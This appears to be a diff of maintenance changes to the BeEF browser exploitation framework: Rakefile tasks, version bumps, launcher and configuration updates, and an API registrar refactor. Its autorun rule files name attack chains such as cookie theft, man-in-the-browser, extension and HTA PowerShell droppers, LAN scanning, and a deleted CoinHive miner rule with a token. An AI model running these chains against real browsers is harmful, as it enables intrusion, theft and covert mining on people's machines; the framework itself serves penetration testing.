Rake::Task['ssl:replace'].invoke Rake::Task['ssl:replace'].invoke
end end
desc 'Re-generate SSL certificate' desc 'Re-generate SSL certificate'
task :replace do task :replace do
if File.file?('/usr/local/bin/openssl') if File.file?('/usr/local/bin/openssl')
@@ -54,6 +69,14 @@ namespace :ssl do
end end
end end
################################
# Generate API documentation
desc 'Generate API documentation to doc/rdocs/index.html'
task :rdoc do
Rake::Task['rdoc:rerdoc'].invoke
end
################################ ################################
# rdoc # rdoc
@@ -72,15 +95,6 @@ namespace :rdoc do
end end
end end
################################
# Install
#task :install do
# sh "export BEEF_TEST=true"
#end
################################ ################################
# X11 set up # X11 set up
@@ -108,7 +122,6 @@ end
@beef_process_id = nil; @beef_process_id = nil;
@beef_config_file = 'tmp/rk_beef_conf.yaml'; @beef_config_file = 'tmp/rk_beef_conf.yaml';
task :beef_start => 'beef' do task :beef_start => 'beef' do
# read environment param for creds or use bad_fred # read environment param for creds or use bad_fred
test_user = ENV['TEST_BEEF_USER'] || 'bad_fred' test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'
@@ -118,7 +131,7 @@ task :beef_start => 'beef' do
config = YAML.safe_load(File.read('./config.yaml')) config = YAML.safe_load(File.read('./config.yaml'))
config['beef']['credentials']['user'] = test_user config['beef']['credentials']['user'] = test_user
config['beef']['credentials']['passwd'] = test_pass config['beef']['credentials']['passwd'] = test_pass
Dir.mkdir('tmp') unless Dir.exists?('tmp') Dir.mkdir('tmp') unless Dir.exist?('tmp')
File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) } File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }
# set the environment creds -- in case we're using bad_fred # set the environment creds -- in case we're using bad_fred
@@ -183,65 +196,10 @@ file '/tmp/msf-test/msfconsole' do
sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test" sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test"
end end
################################
# Create Mac DMG File
task :dmg do
puts "\nCreating Working Directory\n";
sh "mkdir dmg";
sh "mkdir dmg/BeEF";
sh "rsync * dmg/BeEF --exclude=dmg -r";
sh "ln -s /Applications dmg/";
puts "\nCreating DMG File\n"
sh "hdiutil create ./BeEF.dmg -srcfolder dmg -volname BeEF -ov";
puts "\nCleaning Up\n"
sh "rm -r dmg";
puts "\nBeEF.dmg created\n"
end
################################
# Create CDE Package
# This will download and make the CDE Executable and
# gnereate a CDE Package in cde-package
task :cde do
puts "\nCloning and Making CDE...";
sh "git clone git://github.com/pgbovine/CDE.git";
Dir.chdir "CDE";
sh "make";
Dir.chdir "..";
puts "\nCreating CDE Package...\n";
sh "bundle install"
Rake::Task['cde_beef_start'].invoke
Rake::Task['beef_stop'].invoke
puts "\nCleaning Up...\n";
sleep (2);
sh "rm -rf CDE";
puts "\nCDE Package Created...\n";
end
################################
# CDE/BeEF environment set up
@beef_process_id = nil;
task :cde_beef_start => 'beef' do
printf "Starting CDE BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i)
end
puts '.'
end
################################ ################################
# ActiveRecord # ActiveRecord
namespace :db do namespace :db do
task :environment do task :environment do
require_relative "beef" require_relative "beef"
end end
end end

View File

@@ -1,7 +1,7 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
0.5.1.0 0.6.0.0

View File

@@ -1,9 +1,5 @@
{"name": "Display an alert", {"name": "Display an alert",
"author": "mgeeky", "author": "mgeeky",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "alert_dialog", {"name": "alert_dialog",
"condition": null, "condition": null,

View File

@@ -1,20 +0,0 @@
{"name": "Start CoinHive JavaScript miner",
"author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "coinhive_miner",
"condition": null,
"options": {
"public_token":"Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV",
"mode":"FORCE_EXCLUSIVE_TAB",
"mobile_enabled":""
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -1,9 +1,5 @@
{"name": "Confirm Close Tab", {"name": "Confirm Close Tab",
"author": "mgeeky", "author": "mgeeky",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "confirm_close_tab", {"name": "confirm_close_tab",
"condition": null, "condition": null,

View File

@@ -2,7 +2,6 @@
"name": "Firefox Extension Dropper", "name": "Firefox Extension Dropper",
"author": "antisnatchor", "author": "antisnatchor",
"browser": "FF", "browser": "FF",
"browser_version": "ALL",
"os": "OSX", "os": "OSX",
"os_version": ">= 10.8", "os_version": ">= 10.8",
"modules": [{ "modules": [{
@@ -17,4 +16,4 @@
"execution_order": [0], "execution_order": [0],
"execution_delay": [0], "execution_delay": [0],
"chain_mode": "sequential" "chain_mode": "sequential"
} }

View File

@@ -1,10 +1,6 @@
{ {
"name": "Get Cookie", "name": "Get Cookie",
"author": "@benichmt1", "author": "@benichmt1",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_cookie", {"name": "get_cookie",
"condition": null, "condition": null,

View File

@@ -2,7 +2,6 @@
"name": "HTA PowerShell", "name": "HTA PowerShell",
"author": "antisnatchor", "author": "antisnatchor",
"browser": "IE", "browser": "IE",
"browser_version": "ALL",
"os": "Windows", "os": "Windows",
"os_version": ">= 7", "os_version": ">= 7",
"modules": [ "modules": [

View File

@@ -1,9 +1,6 @@
{"name": "LAN CORS Scan", {"name": "LAN CORS Scan",
"author": "bcoles", "author": "bcoles",
"browser": ["FF", "C"], "browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "LAN CORS Scan (Common IPs)", {"name": "LAN CORS Scan (Common IPs)",
"author": "bcoles", "author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "cross_origin_scanner_cors", {"name": "cross_origin_scanner_cors",
"condition": null, "condition": null,

View File

@@ -1,9 +1,6 @@
{"name": "LAN Fingerprint", {"name": "LAN Fingerprint",
"author": "bcoles", "author": "bcoles",
"browser": ["FF", "C"], "browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "LAN Fingerprint (Common IPs)", {"name": "LAN Fingerprint (Common IPs)",
"author": "antisnatchor", "author": "antisnatchor",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "internal_network_fingerprinting", {"name": "internal_network_fingerprinting",
"condition": null, "condition": null,

View File

@@ -1,9 +1,6 @@
{"name": "LAN Flash Scan", {"name": "LAN Flash Scan",
"author": "bcoles", "author": "bcoles",
"browser": ["FF", "C"], "browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,6 @@
{"name": "LAN Flash Scan (Common IPs)", {"name": "LAN Flash Scan (Common IPs)",
"author": "bcoles", "author": "bcoles",
"browser": ["FF", "C"], "browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "cross_origin_scanner_flash", {"name": "cross_origin_scanner_flash",
"condition": null, "condition": null,

View File

@@ -1,9 +1,6 @@
{"name": "LAN HTTP Scan", {"name": "LAN HTTP Scan",
"author": "bcoles", "author": "bcoles",
"browser": ["FF", "C"], "browser": ["FF", "C"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "LAN HTTP Scan (Common IPs)", {"name": "LAN HTTP Scan (Common IPs)",
"author": "bcoles", "author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_http_servers", {"name": "get_http_servers",
"condition": null, "condition": null,

View File

@@ -1,9 +1,6 @@
{"name": "LAN Ping Sweep", {"name": "LAN Ping Sweep",
"author": "bcoles", "author": "bcoles",
"browser": "FF", "browser": "FF",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,6 @@
{"name": "LAN Ping Sweep (Common IPs)", {"name": "LAN Ping Sweep (Common IPs)",
"author": "bcoles", "author": "bcoles",
"browser": "FF", "browser": "FF",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "ping_sweep", {"name": "ping_sweep",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "LAN Port Scan", {"name": "LAN Port Scan",
"author": "aburro & aussieklutz", "author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "LAN SW Port Scan", {"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz", "author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "get_internal_ip_webrtc", {"name": "get_internal_ip_webrtc",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "Perform Man-In-The-Browser", {"name": "Perform Man-In-The-Browser",
"author": "mgeeky", "author": "mgeeky",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "man_in_the_browser", {"name": "man_in_the_browser",
"condition": null, "condition": null,

View File

@@ -1,10 +1,6 @@
{ {
"name": "Raw JavaScript", "name": "Raw JavaScript",
"author": "wade@bindshell.net", "author": "wade@bindshell.net",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "raw_javascript", {"name": "raw_javascript",
"condition": null, "condition": null,

View File

@@ -1,9 +1,5 @@
{"name": "Collects multiple snapshots of the webpage within Same-Origin", {"name": "Collects multiple snapshots of the webpage within Same-Origin",
"author": "mgeeky", "author": "mgeeky",
"browser": ["FF", "C", "O", "IE", "S"],
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [ "modules": [
{"name": "spyder_eye", {"name": "spyder_eye",
"condition": null, "condition": null,

View File

@@ -2,10 +2,7 @@
{ {
"name": "Windows Fake Malware", "name": "Windows Fake Malware",
"author": "bcoles", "author": "bcoles",
"browser": "ALL",
"browser_version": "ALL",
"os": "Windows", "os": "Windows",
"os_version": "ALL",
"modules": [ "modules": [
{ {
"name": "blockui", "name": "blockui",

78
beef
View File

@@ -1,8 +1,8 @@
#!/usr/bin/env ruby #!/usr/bin/env ruby
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
@@ -12,11 +12,12 @@
$VERBOSE = nil $VERBOSE = nil
# #
# @note Version check to ensure BeEF is running Ruby 2.5+ # @note Version check to ensure BeEF is running Ruby 3.0+
# #
if RUBY_VERSION < '2.5' min_ruby_version = '3.0'
if RUBY_VERSION < min_ruby_version
puts puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.5 or later." puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
puts puts
exit 1 exit 1
end end
@@ -38,10 +39,36 @@ $root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '
$:.unshift($root_dir) $:.unshift($root_dir)
$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
# @note Parse BeEF CLI options early (prevents Rack help from taking over)
require 'core/main/console/commandline'
BeEF::Core::Console::CommandLine.parse
# #
# @note Require core loader # @note Require core loader
# #
require 'core/loader' require 'core/loader'
require 'timeout'
#
# @note Ask user if they would like to update beef
#
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
print 'Checking latest BeEF repository and updating'
`git pull && bundle`
elsif `git rev-parse master` != `git rev-parse origin/master`
begin
Timeout.timeout(5) do
puts '-- BeEF Update Available --'
print 'Would you like to update to lastest version? y/n: '
response = gets
`git pull && bundle` if response&.strip == 'y'
end
rescue Timeout::Error
puts "\nUpdate Skipped with input timeout"
end
end
end
# #
# @note Create ~/.beef/ # @note Create ~/.beef/
@@ -109,13 +136,13 @@ end
# #
# @note Validate beef.http.public and beef.http.public_port # @note Validate beef.http.public and beef.http.public_port
# #
unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public')) unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}" print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
exit 1 exit 1
end end
unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port')) unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}" print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
exit 1 exit 1
end end
@@ -161,22 +188,31 @@ db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed # @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb] if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.' print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file) begin
File.delete(db_file) if File.exist?(db_file)
rescue => e
print_error("Could not remove '#{db_file}' database file: #{e.message}")
exit(1)
end
end end
# Connect to DB # Connect to DB
ActiveRecord::Base.logger = nil ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file) OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# otr-activerecord require you to manually establish the connection with the following line # otr-activerecord require you to manually establish the connection with the following line
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection! OTR::ActiveRecord.establish_connection!
end end
# Migrate (if required) # Migrate (if required)
context = ActiveRecord::Migration.new.migration_context ActiveRecord::Migration.verbose = false # silence activerecord migration stdout messages
ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths)
if context.needs_migration? if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate
end end
# #
# @note Extensions may take a moment to load, thus we print out a please wait message # @note Extensions may take a moment to load, thus we print out a please wait message
# #
@@ -185,7 +221,12 @@ print_info 'BeEF is loading. Wait a few seconds...'
# #
# @note Execute migration procedure, checks for new modules # @note Execute migration procedure, checks for new modules
# #
BeEF::Core::Migration.instance.update_db! begin
BeEF::Core::Migration.instance.update_db!
rescue => e
print_error("Could not update '#{db_file}' database file: #{e.message}")
exit(1)
end
# #
# @note Create HTTP Server and prepare it to run # @note Create HTTP Server and prepare it to run
@@ -193,6 +234,13 @@ BeEF::Core::Migration.instance.update_db!
http_hook_server = BeEF::Core::Server.instance http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare http_hook_server.prepare
begin
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
rescue => e
print_error("Database connection failed: #{e.message}")
exit(1)
end
# #
# @note Prints information back to the user before running the server # @note Prints information back to the user before running the server
# #
@@ -200,6 +248,8 @@ BeEF::Core::Console::Banners.print_loaded_extensions
BeEF::Core::Console::Banners.print_loaded_modules BeEF::Core::Console::Banners.print_loaded_modules
BeEF::Core::Console::Banners.print_network_interfaces_count BeEF::Core::Console::Banners.print_network_interfaces_count
BeEF::Core::Console::Banners.print_network_interfaces_routes BeEF::Core::Console::Banners.print_network_interfaces_routes
BeEF::Core::Console::Banners.print_http_proxy
BeEF::Core::Console::Banners.print_dns
# #
# @note Prints the API key needed to use the RESTful API # @note Prints the API key needed to use the RESTful API

View File

@@ -1,12 +1,12 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
# BeEF Configuration file # BeEF Configuration file
beef: beef:
version: '0.5.1.0' version: '0.6.0.0'
# More verbose messages (server-side) # More verbose messages (server-side)
debug: false debug: false
# More verbose messages (client-side) # More verbose messages (client-side)
@@ -32,7 +32,7 @@ beef:
# slow API calls to 1 every api_attempt_delay seconds # slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05" api_attempt_delay: "0.05"
# HTTP server # HTTP server
http: http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0" host: "0.0.0.0"
@@ -45,19 +45,24 @@ beef:
# Enabling WebSockets is generally better (beef.websocket.enable) # Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 1000 xhr_poll_timeout: 1000
# Host Name / Domain Name # Public Domain Name / Reverse Proxy / Port Forwarding
# If you want BeEF to be accessible via hostname or domain name (ie, DynDNS), #
# set the public hostname below: # In order for the client-side BeEF JavaScript hook to be able to connect to BeEF,
#public: "" # public hostname/IP address # the hook JavaScript needs to be generated with the correct connect-back details.
#
# If you're using a public domain name, reverse proxy, or port forwarding you must
# configure the public-facing connection details here.
# Reverse Proxy / NAT #public:
# If you want BeEF to be accessible behind a reverse proxy or NAT, # host: "beef.local" # public hostname/IP address
# set both the publicly accessible hostname/IP address and port below: # port: "443" # public port (443 if the public server is using HTTPS)
# NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed # https: false # true/false
# by altering the X-FORWARDED-FOR ip address in the request header.
# If using any reverse proxy you should also set allow_reverse_proxy to true below.
# Note that this causes the BeEF server to trust the X-Forwarded-For HTTP header.
# If the BeEF server is directly accessible, clients can spoof their connecting
# IP address using this header to bypass the IP address permissions/exclusions.
allow_reverse_proxy: false allow_reverse_proxy: false
#public: "" # public hostname/IP address
#public_port: "" # public port (experimental)
# Hook # Hook
hook_file: "/hook.js" hook_file: "/hook.js"
@@ -114,17 +119,10 @@ beef:
dns_hostname_lookup: false dns_hostname_lookup: false
# IP Geolocation # IP Geolocation
# NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
geoip: geoip:
enable: true enable: true
database: '/opt/GeoIP/GeoLite2-City.mmdb' # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
phishing_frenzy:
enable: false
# You may override default extension configuration parameters here # You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory # Note: additional experimental extensions are available in the 'extensions' directory
@@ -148,6 +146,6 @@ beef:
metasploit: metasploit:
enable: false enable: false
social_engineering: social_engineering:
enable: true enable: false
xssrays: xssrays:
enable: true enable: true

View File

@@ -1,12 +1,11 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
# #
# Registrar class to handle all registered timed API calls # Registrar class to handle all registered timed API calls
# #
@@ -24,26 +23,26 @@ module BeEF
# Register timed API calls to an owner # Register timed API calls to an owner
# #
# @param [Class] owner the owner of the API hook # @param [Class] owner the owner of the API hook
# @param [Class] c the API class the owner would like to hook into # @param [Class] clss the API class the owner would like to hook into
# @param [String] method the method of the class the owner would like to execute # @param [String] method the method of the class the owner would like to execute
# @param [Array] params an array of parameters that need to be matched before the owner will be called # @param [Array] params an array of parameters that need to be matched before the owner will be called
# #
def register(owner, c, method, params = []) def register(owner, clss, method, params = [])
unless verify_api_path(c, method) unless verify_api_path(clss, method)
print_error "API Registrar: Attempted to register non-existant API method #{c} :#{method}" print_error "API Registrar: Attempted to register non-existent API method #{clss} :#{method}"
return return
end end
if registered?(owner, c, method, params) if registered?(owner, clss, method, params)
print_debug "API Registrar: Attempting to re-register API call #{c} :#{method}" print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
return return
end end
id = @count id = @count
@registry << { @registry << {
'id' => id, 'id' => id,
'owner' => owner, 'owner' => owner,
'class' => c, 'class' => clss,
'method' => method, 'method' => method,
'params' => params 'params' => params
} }
@@ -56,18 +55,19 @@ module BeEF
# Tests whether the owner is registered for an API hook # Tests whether the owner is registered for an API hook
# #
# @param [Class] owner the owner of the API hook # @param [Class] owner the owner of the API hook
# @param [Class] c the API class # @param [Class] clss the API class
# @param [String] method the method of the class # @param [String] method the method of the class
# @param [Array] params an array of parameters that need to be matched # @param [Array] params an array of parameters that need to be matched
# #
# @return [Boolean] whether or not the owner is registered # @return [Boolean] whether or not the owner is registered
# #
def registered?(owner, c, method, params = []) def registered?(owner, clss, method, params = [])
@registry.each do |r| @registry.each do |r|
next unless r['owner'] == owner next unless r['owner'] == owner
next unless r['class'] == c next unless r['class'] == clss
next unless r['method'] == method next unless r['method'] == method
next unless is_matched_params? r, params next unless is_matched_params? r, params
return true return true
end end
false false
@@ -76,17 +76,18 @@ module BeEF
# #
# Match a timed API call to determine if an API.fire() is required # Match a timed API call to determine if an API.fire() is required
# #
# @param [Class] c the target API class # @param [Class] clss the target API class
# @param [String] method the method of the target API class # @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched # @param [Array] params an array of parameters that need to be matched
# #
# @return [Boolean] whether or not the arguments match an entry in the API registry # @return [Boolean] whether or not the arguments match an entry in the API registry
# #
def matched?(c, method, params = []) def matched?(clss, method, params = [])
@registry.each do |r| @registry.each do |r|
next unless r['class'] == c next unless r['class'] == clss
next unless r['method'] == method next unless r['method'] == method
next unless is_matched_params? r, params next unless is_matched_params? r, params
return true return true
end end
false false
@@ -98,24 +99,25 @@ module BeEF
# @param [Integer] id the ID of the API hook # @param [Integer] id the ID of the API hook
# #
def unregister(id) def unregister(id)
@registry.delete_if {|r| r['id'] == id } @registry.delete_if { |r| r['id'] == id }
end end
# #
# Retrieves all the owners and ID's of an API hook # Retrieves all the owners and ID's of an API hook
# @param [Class] c the target API class # @param [Class] clss the target API class
# @param [String] method the method of the target API class # @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched # @param [Array] params an array of parameters that need to be matched
# #
# @return [Array] an array of hashes consisting of two keys :owner and :id # @return [Array] an array of hashes consisting of two keys :owner and :id
# #
def get_owners(c, method, params = []) def get_owners(clss, method, params = [])
owners = [] owners = []
@registry.each do |r| @registry.each do |r|
next unless r['class'] == c next unless r['class'] == clss
next unless r['method'] == method next unless r['method'] == method
next unless is_matched_params? r, params next unless is_matched_params? r, params
owners << { :owner => r['owner'], :id => r['id'] }
owners << { owner: r['owner'], id: r['id'] }
end end
owners owners
end end
@@ -126,23 +128,23 @@ module BeEF
# #
# @note This is a security precaution # @note This is a security precaution
# #
# @param [Class] c the target API class to verify # @param [Class] clss the target API class to verify
# @param [String] m the target method to verify # @param [String] mthd the target method to verify
# #
def verify_api_path(c, m) def verify_api_path(clss, mthd)
(c.const_defined?('API_PATHS') && c.const_get('API_PATHS').key?(m)) (clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
end end
# #
# Retrieves the registered symbol reference for an API hook # Retrieves the registered symbol reference for an API hook
# #
# @param [Class] c the target API class to verify # @param [Class] clss the target API class to verify
# @param [String] m the target method to verify # @param [String] mthd the target method to verify
# #
# @return [Symbol] the API path # @return [Symbol] the API path
# #
def get_api_path(c, m) def get_api_path(clss, mthd)
verify_api_path(c, m) ? c.const_get('API_PATHS')[m] : nil verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
end end
# #
@@ -171,36 +173,32 @@ module BeEF
# #
# Fires all owners registered to this API hook # Fires all owners registered to this API hook
# #
# @param [Class] c the target API class # @param [Class] clss the target API class
# @param [String] m the target API method # @param [String] mthd the target API method
# @param [Array] *args parameters passed for the API call # @param [Array] *args parameters passed for the API call
# #
# @return [Hash, NilClass] returns either a Hash of :api_id and :data # @return [Hash, NilClass] returns either a Hash of :api_id and :data
# if the owners return data, otherwise NilClass # if the owners return data, otherwise NilClass
# #
def fire(c, m, *args) def fire(clss, mthd, *args)
mods = get_owners(c, m, args) mods = get_owners(clss, mthd, args)
return nil unless mods.length.positive? return nil unless mods.length.positive?
unless verify_api_path(c, m) && c.ancestors[0].to_s > 'BeEF::API' unless verify_api_path(clss, mthd) && clss.ancestors.first.to_s.start_with?('BeEF::API')
print_error "API Path not defined for Class: #{c} method:#{method}" print_error "API Path not defined for Class: #{clss} method: #{mthd}"
return [] return []
end end
data = [] data = []
method = get_api_path(c, m) method = get_api_path(clss, mthd)
mods.each do |mod| mods.each do |mod|
begin # Only used for API Development (very verbose)
# Only used for API Development (very verbose) # print_info "API: #{mod} fired #{method}"
# print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args) result = mod[:owner].method(method).call(*args)
unless result.nil? data << { api_id: mod[:id], data: result } unless result.nil?
data << { :api_id => mod[:id], :data => result } rescue StandardError => e
end print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
rescue => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
end end
data data
@@ -214,8 +212,7 @@ require 'core/api/modules'
require 'core/api/extension' require 'core/api/extension'
require 'core/api/extensions' require 'core/api/extensions'
require 'core/api/main/migration' require 'core/api/main/migration'
require 'core/api/main/network_stack/assethandler.rb' require 'core/api/main/network_stack/assethandler'
require 'core/api/main/server' require 'core/api/main/server'
require 'core/api/main/server/hook' require 'core/api/main/server/hook'
require 'core/api/main/configuration' require 'core/api/main/configuration'

View File

@@ -1,20 +1,17 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Extension module Extension
attr_reader :full_name, :short_name, :description attr_reader :full_name, :short_name, :description
@full_name = '' @full_name = ''
@short_name = '' @short_name = ''
@description = '' @description = ''
end end
end end
end end

View File

@@ -1,21 +1,18 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Extensions module Extensions
# @note Defined API Paths # @note Defined API Paths
API_PATHS = { API_PATHS = {
'post_load' => :post_load 'post_load' => :post_load
} }.freeze
# API hook fired after all extensions have been loaded # API hook fired after all extensions have been loaded
def post_load; def post_load; end
end
end end
end end
end end

View File

@@ -1,22 +1,19 @@
# #
